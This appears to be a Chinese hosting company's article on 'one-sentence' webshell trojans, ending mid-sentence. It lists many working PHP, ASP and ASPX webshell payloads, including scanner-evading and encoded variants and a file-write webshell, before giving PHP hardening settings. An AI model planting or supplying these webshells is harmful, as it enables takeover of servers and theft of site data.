作为网站管理员或站长,不得不应对各种黑客入侵行为,万维景盛工程师今天向大家介绍认识一种常见的黑客木马文件——一句话木马。古人云:“知己知彼,百战不殆”。只有了解黑客的入侵工具和行为特征,才能更好地做好网站防护。一句话木马是一种基于B/S结构的简短脚本,通过这个脚本,执行POST来的任意参数语句,可以提交任意内容,黑客借此进行SQL注入或拿到SHELL写入大马或截取网站私密信息,达到注入非法信息等的目的。
这个程序把提交的数据当PHP语句执行,利用这个功能可以查看甚至修改你的数据库数据和文件。使用的方法可以随便编写一个HTML来完成,例如:
<form method=post action=http://....../你的名字.php> <textarea name=cmd> //这里面写PHP程序,随便连接数据和修改文件都可以,当然也可以用下面的语句查看你的PHP源文件来获取数据库路径和密码 $str=file_get_content('xxx.php'); $str=str_replace('<','<',$str); echo "<pre>$str</pre>" </textarea> <input type=submit> </form>
黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request("value")%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值
<%eval request("value")%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用)
当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。)
常用一句话木马
asp一句话木马:
<%execute(request("value"))%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
其他一句话木马:
<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
<%If Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲过雷客图的一句话木马:
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>
不用'<,>'的asp一句话木马:
<script language=VBScript runat=server>execute request("value")</script>
不用双引号的一句话木马:
<%eval request(chr(35))%>
UTF-7编码加密:
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
PHP木马的防范方法实例:
php网页木马代码,大家可以看下自己的网站里面是不是有这样的代码,注意网站安全用mcafee限制w3wp.exe生成php或者asp文件。并在php.ini中设置一下。
php网页木马
<?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> <!--保存文件名: --> <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>"> <br><br> <textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br> <input type="submit" name="submit" value="保存"> <form> <?php if(isset($_POST['file'])) { $fp = @fopen($_POST['file'],'wb'); echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!'; @fclose($fp); } ?>
一句话php木马
<?php
eval($_POST[cmd]);?>
PHP木马的防范方法
PHP是能让你生成动态网页的工具之一。PHP网页文件被当作一般HTML网页文件来处理并且在编辑时你可以用编辑HTML的常规方法编写PHP——超文本预处理器(PHP: Hypertext Preprocessor)。
PHP的另一好处就在于他的安全性,随着现在互联网的发展,网络安全越来越受重视,PHP的诞生几乎代替了ASP,因为PHP对于安全方面的设置是极为简单的不像ASP那样需要很多的步骤,和禁用很多的服务。不过再好的东西也始终会有不足,如果默认设置的PHP同样也是不堪一击,因此本文就来讲一下如何对PHP进行一些安全方面的配置,来防止脚本木马的破坏。 如果您只是购买别人的程序使用,没有自己的程序员进行编程和防护,可以升级到万维景盛的安心主机,我们在服务器上进行了安全配置,可以过滤木马。
一、防止php木马执行webshell
打开safe_mode, 在,php.ini中设置 disable_functions= passthru,exec,shell_exec,system 二者选一即可,也可都选。
二、防止跳出web目录
首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行: php_admin_value open_basedir /usr/local/apache/htdocs ,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。
三、防止php木马读写文件目录
在php.ini中的 disable_functions= passthru,exec,shell_exec,system 后面加上php处理文件的函数,主要有 fopen,mkdir,rmdir,chmod,unlink,dir,fopen,fread,fclose,fwrite,file_exists,closedir,is_dir,readdir.opendir,fileperms.copy,unlink,delfile 。即成为 disable_functions= passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir ,fopen,fread,fclose,fwrite,file_exists ,closedir,is_dir,readdir.opendir ,fileperms.copy,unlink,delfile 。
ok,大功告成,php木马拿我们没辙了,遗憾的是这样的话,利用文本数据库的那些东西就都不能用了。 如果是在windos平台下搭建的apache还需要注意一点,apache默认运行是system权限,必须给apache降降权限,如下:
net user apache f**kmicrosoft /add
net localgroup users apache /del
此时建立了一个不属于任何组的